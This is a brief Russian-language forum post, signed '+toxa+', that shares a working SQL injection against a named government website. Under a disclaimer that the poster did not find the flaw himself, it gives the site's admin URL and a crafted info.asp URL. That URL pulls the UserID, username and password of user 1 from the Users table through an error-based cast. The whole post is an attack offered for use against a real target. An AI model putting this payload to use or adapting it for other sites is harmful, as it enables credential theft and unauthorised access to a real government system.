Уязвимость найденна не мной.
+toxa+


http://www.president.gov.mk/admin/
http://www.president.gov.mk/info.asp?SectionID=11&InfoID=1+or+1=(SELECT+TOP+1+ cast(UserID+as+nvarchar)%2B%27%3A%27%2Bcast(Userna me+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nva rchar)+FROM+Users+where+UserID=1)--#top